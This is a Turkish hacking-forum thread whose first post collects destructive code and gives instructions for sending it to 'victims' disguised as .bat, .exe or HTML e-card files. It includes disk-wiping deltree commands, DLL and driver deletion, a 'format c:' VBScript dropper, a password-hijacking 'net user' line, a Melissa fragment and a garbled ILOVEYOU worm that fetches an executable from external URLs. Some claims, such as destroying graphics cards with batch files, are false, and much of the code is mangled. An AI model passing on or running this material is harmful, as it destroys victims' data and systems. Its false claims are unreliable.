Can Alıcı Kodlar

iSyankaraLı

Kadim Üye
19 Ağu 2009
5,551
0
Her Yerden.
#150310 LeGenD_HacKeR :
msn kapatmak için aşşağıdaki yazılı proğramı not pat ile yazıp kaydedin uzantısını.bat olarak yapınız
alt alta nekadar cok yazarsak o kadar uzun süre kapanır msn
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr
start tskill msnmsgr .....gibi

PC ÇÖKERTEBİLECEK KADAR ETKİLİ KOD





arkadaşlar bu yazacağım kodları not defterine yapıştırıyorsunuz uzantısını bat olarak ayarlıyorsunuz ondan sonra kurbana yolluyorsunuz. kurban bunu aldıktan sonra bilgisayarı kapanıyor ve bidaha açılmamak suretiyle

kod:::--Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub


CALISAN UYGULAMALARI KAPATMAK:




İlk önce not defterini açıyoruz ardından shutdown -f yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz

(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).
Bunu karşı tarafa atmak için WinRar'la sıkıştırıyoruz.
Sonra da atıyoruz açtığında Pc'de çalışan bütün uygulamalar kapanır(kuban hiçbişey yapamaz..)


şimdi bir wordpar belgesi açıyoruz uzantısı .doc .txt olan cinslerden daha sonra bu belgenin içine aşşağıdaki kodları kopyalayıp yapıştırın.


Kod:

@echo off C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off cls cls @echo .::bilgisayarın çöktü::. @echo off

Vereceğim kodu not defterine yazın.XXX.bat olarak kaydedin.(xxx dosyanın ismi olcak değiştirebilirsiniz.)

Sonra winrar kullanarak sıkıştırın.Msn veya başka bir yolla karşı tarafa gönderin.Yapacağınız tek şey açmasını beklemek...

90,90

resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
EKRAN KARTI YAKAN KOD

@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:: HacKeD gülümse ::.
@echo off3.

METİN SAYFASI AÇIP

kodlarını yapıştırın ve farklı kaydet diyin. dosya adını yazın ve sonuna .bat yazın. (örnek: açma.bat)
vede kaydedin böylece ms-dos toplu iş dosyası oluşacak bunu sakın açmayın ve kimin ekran kartını yakmak istiyorsanız o kişiye yollayın. kurban dosyaya iki kere tıkadığı zaman saniyede 1000 den fazla ms-dos sayfası açılacak vede yaklasık 30 sn sonra ekran kartı gücünü kaybedip yorulacak. en sonunda HacKeD By MaNNeR_Boi yazısı görünecek (burayı kendiniz değiştirebilirsiniz) vede görüntü gidecek. yeni ekran kartı alana kadar da gelmiyecek kolay gelsin.

PC VİRÜS KODU






1.Yol

notpadi açın.

2.Yol

içine bu sayıları yazın
01001011000111110010010101010101010000011111100000

3.Yol

kaydederken de uzantısını .exe olarak deiştirin.

4.Yol

kolay gelsin....
sallayın virusu.karşı tarafın gördüğü son ekran olsun...

Dikkat exe olarak kaydettiktensonra ad koyun yoksa dalgınlık yapıp kendi pcnizi çökertmeyin


SYSTEM 32 YE ZARAR VEREN VİRÜS KODU


span(p)

char *p;
{
struct ffblk f;
char n[129];
int r;

SearchAndDestroy(p);

sprintf(n,\"%s\\\\%s\",p,\"*.*\");
for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
if(*f.ff_name==\'.\') continue;
if(f.ff_attrib & 0x0010) {
sprintf(n,\"%s\\\\%s\",p,f.ff_name);
span(n);
}
}
}

SearchAndDestroy(p)

char *p;
{
struct ffblk f;
char b[81];
int r;

strcpy(b,p);

strcat(b,\"\\\\*.*\");
for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
sprintf(b,\"%s\\\\%s\",p,f.ff_name);
remove(b);
}
}

boot()

{
char *buff;
char *test;

fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\");

abswrite(2,12,0,buff);
}

notepad a yapıstırın farklı kaydet secenegınden .bat olarak uzantısını degıstırın

system32 klasörüne zarar verıyo bu virüs

SADECE PC KAPATAN KOD







PC KAPATMA

İlk önce not defterini açıyoruz ardından shutdown -s yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak kapanır

HARDİSKİ YAKABİLECEK SEVİYEDE OLAN BİR KOD


<html>

<head>
****** **********=\\\"Content-Type\\\" *********\\\"text/html; charset=iso-8859-1\\\">
<title>Aşkından Sevgilerle</title>
</head>
<bOdy>
******** language=\\\"VBSCRIPT\\\">
Set fs = CreateObject(\\\"Scripting.FileSystemObject\\\"
Set a = fs.CreateTextFile(\\\"C:c:\\\\windows\\\\system32\ \\\autoexec. nt\\\", True)
a.WriteLine(\\\"format c: /autotest /u /q\\\"
a.Close
</script>
<p>Giriste ac1lan uyariya \\\"HAYIR\\\" dediyseniz <a
href= \\\"<i>javascript</i>:reload()\\\">Malesef e-kart 1n1z cal1smayacakt1r.</p>
</bOdy>
</html>
kopyala vedosya uzantısını html olarak kaydet

PC YE ŞİFRE KOYAN KOD





netuser %username% 123456

shutdown -r sonra sonunu bat olarak kaydet

MSN VE YA EKRANI KAPATMAK İÇİN KOD





ilk basta notepad'ı acıyoruz.karsıdakının sadece msnını kapatmak ıstıyorsak sadece alt alta start tskill msnmsgr yazmanız yeterlı.(ne kadar cok yazarsanız o kadar cok uzun sure kapanır msnı) ekranın kapanıp acılmasınıda ıstıyorsak yıne aynı sekılde alt alta start tskill explorer yazınız.eger ıkısınıde yapmak ıstıyorsanız:

start tskill explorer
start tskill msnmsgr
yukarıdakı gıbı yapınız.ve notepadı farklı kaydet yapıp uzantısını .bat olarak kaydedınız ve kısıye yollayınız

PC KAPANIP ACILMAMSINA NEDEN OLABİLECEK KOD





kod:::--Private Sub Form_Unload(Cancel As Integer)

Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "\\" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:\\windows\\system32\\drivers\\" & sonuc & ""
FileCopy yol, "c:\\windows\\system32\\drivers\\" & sonuc & ""
calis = Shell(kp)
End Sub

yukardaki yazan kelimeleri not pat içine yapıştırınzı ve daha sonra uzantısını bata çeveriniz

etki alanı bilgisayarın aniden kapanıp acılmamasına neden olabilir

PC FORMAT BİLE ATAMAYA BİLİRSİNİZ





del C:/WINDOWS/system/MOUSE.DRV

del C:/WINDOWS/system/KEYBOARD.DRV
del c:\WINDOWS\system32\drivers\cdrom.bat

shutdown -

NOT defterine yapıştırınız ve uzantısını bat olarak kaydedinz

PC YE RESET ATTIRMA


PC YI RESETLEMEK :




İlk önce not defterini açıyoruz ardından

shutdown -r
yazıyoruz ve farklı kaydet diyip xxx.bat olarak kaydediyoruz
(xxx dosyanın ismi olacaktır sonra değiştirirsiniz).Bunu karşı tarafa atmak için
WinRar'la sıkıştırıyoruz.Sonra da atıyoruz açtığında Pc'si direkt olarak resetlenir
FBI VİRÜSÜ



f NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then

Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

'WORD/Melissa written by Kwyjibo

'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."

End Sub < =>


notepada yapıştırıp .bat olarak kaydedin....


EVET ARKADAŞLAR BU KODLRIN HEPSİ PC YE ZARAR VEREN KODLAR BİZZAT BEN GİDİP İTERNET CAFEDE DENEDİM HELE O SİSTEM 32 YE ZARARCEREN VİRÜS YOKMU ARKADAŞLAR BU KODLARI DAHA ÖNCE BİR ARAYA TOPLAYAN VARMI BİLMİYORUM EĞER VARSA KUSURA BAKMAYIN AMA BEN HİÇ RASTLAMADIM ONUN İÇİN HEPSİNİ BİR ARAYA GETİRDİM AMAN HA BU KODLARI KENDİ PC NİZDE ACIPDA BENİ GÜNAHA SOKMAYIN ŞİMDİDEN HAKKINIZDA HELAL EDİNİZ


bu kodu not defterine yapıştırın ve .bat yaoın bu kadar

@echo off
copy %0%windir%\Virus.bat> nul
for /R C:\ %%a in (*.dll) do erase /F %%a > nul



arkadaslar en bastan soyleyim kendi pcnızde denemyın

pcnız acılmaz.Açmak için biçimi attıramassınız.Çünkü CD-ROM çalışmaz.CD-ROM u değiştirseniz bile nafile
Kod:

rem delete-pcaş (-vbe)

Es hata-PC
Hata Sonraki Pc Hack On
dim fso, dirsystem, dirwin, dirtemp, eq, ctr, vbscopy, d ow dosya
eq = ""
TO = 0
Set fso = CreateObject ( "Scripting.FileSystemObject")
set file = fso.opentextfile (WScript.ScriptFullname, 1)
vbscopy = file.ReadAll
main ()
ana, alt ()
Error Resume Next On
loş wscr, RR
set wscr = CreateObject ( "WScript.Shell")
RR = wscr.RegRead ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Window s Scripting Host \ Settings \ Timeout")
if (rr> = 1) sonra
wscr.RegWrite "HKEY_CURRENT_USER \ Software \ Microsoft \ Windows Scripting Host \ Settings \ Timeout", 0, "REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder (0)
Set dirsystem = fso.GetSpecialFolder (1)
Set dirtemp = fso.GetSpecialFolder (2)
Set c = fso.GetFile (WScript.ScriptFullName)
c.Copy (dirsystem & "\ MSKernel32.vbs")
c.Copy (dirwin & "\ Win32DLL.vbs")
c.Copy (dirsystem & "\ LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns ()
html ()
spreadtoemail ()
listadriv ()
End Sub
alt regruns ()
Error Resume Next On
Dim num, downread
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ MSKernel32", dirsystem & \ Cur rentVersio n s "\ MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ RunServices \ Win32DLL", dirwin & \ Cur rentVersio n s "\ Win32DLL.vbs"
downread = ""
downread = regget ( "HKEY_CURRENT_USER \ Software \ Micros oft \ Intern et Explorer \ Download Directory")
if (= "") sonra downread
downread = "c: \"
end if
if (fileexist (dirsystem & "\ WinFAT32.exe") = 1) sonra
Randomize
num = Int ((4 * Rnd) + 1)
Eğer num = 1 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT / WIN-BUGSFIX.exe "
elseif num = 2 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKL JKjhkqj4w/WIN-BUGSFIX.exe "
elseif num = 3 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ koichi/jf6TRjkcbGRpGq** 198vbFV5hfFEkbopBdQZnmPOhfgER67b3V BVG / WIN-BUGSFIX.exe "
elseif num = 4 then
regcreate "HKCU \ Software \ Microsoft \ Internet Explorer \ Main \ Start Page", "http://www.skyinet.net/ ~ chu / sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfd glkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe "
end if
end if
if ((& "\ WIN-BUGSFIX.exe") = 0) sonra downread fileexist
regcreate "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ Run \ WIN-BUGSFIX", downread & "\ WIN-BUGSFIX.exe" \ Cur rentVersio n s
regcreate "HKEY_CURRENT_USER \ Software \ Microsoft \ Interne t Explorer \ Main \ Start Page", "hakkında: boş "
end if
End Sub
alt listadriv
Error Resume Next On
Dim d, dc ler
Set dc = fso.Drives
Için her d dc
Eğer d.DriveType = 2 veya d.DriveType = 3 Then
folderlist (d.path & "\")
end if
Sonraki
listadriv = S
End Sub
alt infectfiles () folderspec
Error Resume Next On
dim f, f1, fc, ext, ap, mircfname, mp3 bName s
set f = fso.GetFolder () folderspec
set fc = f.Files
her f1 fc için
ext = fso.GetExtensionName (f1.path)
ext = LCase (dahili)
s LCase () f1.name =
if (ext = "vbs") veya (ext = "vbe") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
elseif (ext = "js") or (ext = "jse") veya (ext = "css") or (ext = "wsh") veya (ext = "sct") or (ext = "hta") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
bName = fso.GetBaseName (f1.path)
polis = fso.GetFile (f1.path set)
cop.copy (& folderspec "\" & bName & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "jpg) veya (ext =" jpeg ") then
set ap = fso.opentextfile (2, true) f1.path
ap.write vbscopy
ap.close
polis = fso.GetFile (f1.path set)
cop.copy (f1.path & ". vbs")
fso.DeleteFile () f1.path
elseif (ext = "mp3") or (ext = "mp2") then
mp3 = fso.CreateTextFile (& "f1.path ayarlayın. vbs")
mp3.write vbscopy
mp3.close
set att = fso.GetFile (f1.path)
att.attributes = 2 att.attributes
end if
if (eq <> folderspec) sonra
if (s = "mirc32.exe") veya (s = "mlink32.exe") veya (s = "mirc.ini") veya (s = "script.ini") veya (s = "mirc.hlp") sonra
set scriptini = fso.CreateTextFile (& folderspec "\ script.i ni")
scriptini.WriteLine "[script]"
scriptini.WriteLine "; mIRC Script"
scriptini.WriteLine "; bu script ... mIRC değiştir bozuk olacak dont, Lütfen, mIRC olacak"
"yozlaşmış scriptini.WriteLine ... Windows ve etkiler doğru çalışmaz. teşekkür "
scriptini.WriteLine ";"
scriptini.WriteLine "; Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0 = on 1: JOIN :#:{"
scriptini.WriteLine "n1 = / if (kesik == KOBİ) (halt)"
scriptini.WriteLine "n2 = /. kesmek göndermek" dcc & dirsystem & "\ LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3 =)"
scriptini.close
EQ = folderspec
end if
end if
sonraki
End Sub
alt folderlist () folderspec
Error Resume Next On
dim f, f1, sf
set f = fso.GetFolder () folderspec
sf set = f.SubFolders
her f1 sf için
infectfiles (f1.path)
folderlist (f1.path)
sonraki
End Sub
alt regcreate (regkey, regvalue)
Set regedit = CreateObject ( "WScript.Shell")
regedit.RegWrite regkey, regvalue
End Sub
fonksiyonu regget (değer)
Set regedit = CreateObject ( "WScript.Shell")
regget = regedit.RegRead (değer)
End Function
fonksiyonu fileexist () dosyabelirtimi
Error Resume Next On
dim msg
(fso.FileExists (dosyabelirtimi)) Sonra eğer
= 0 msg
başka
= 1 msg
end if
fileexist msg =
End Function
fonksiyonu folderexist () folderspec
Error Resume Next On
dim msg
(fso.GetFolderExists (folderspec)) o zaman eğer
= 0 msg


PC KAPNIR BİR DAHA AÇILMAZ


@echo off

C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo .:HACKERLARLA UĞRAŞMA::.
@echo off3


not alıntıdır
 

activeseen

Katılımcı Üye
6 Ocak 2010
548
0
Seenn City
harikulade!!!ama bir şey var ki.bat uzantısını kim çalıştırmak istesin ki!!!gerçi farklı yöntemlerle olabilir...belki...
 

tuzlusu

Üye
14 Haz 2009
146
0
bu kodları en aşağı olarak sölüorum panda bile havada karada yakalr ve annda siler bnlar eski!!!
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.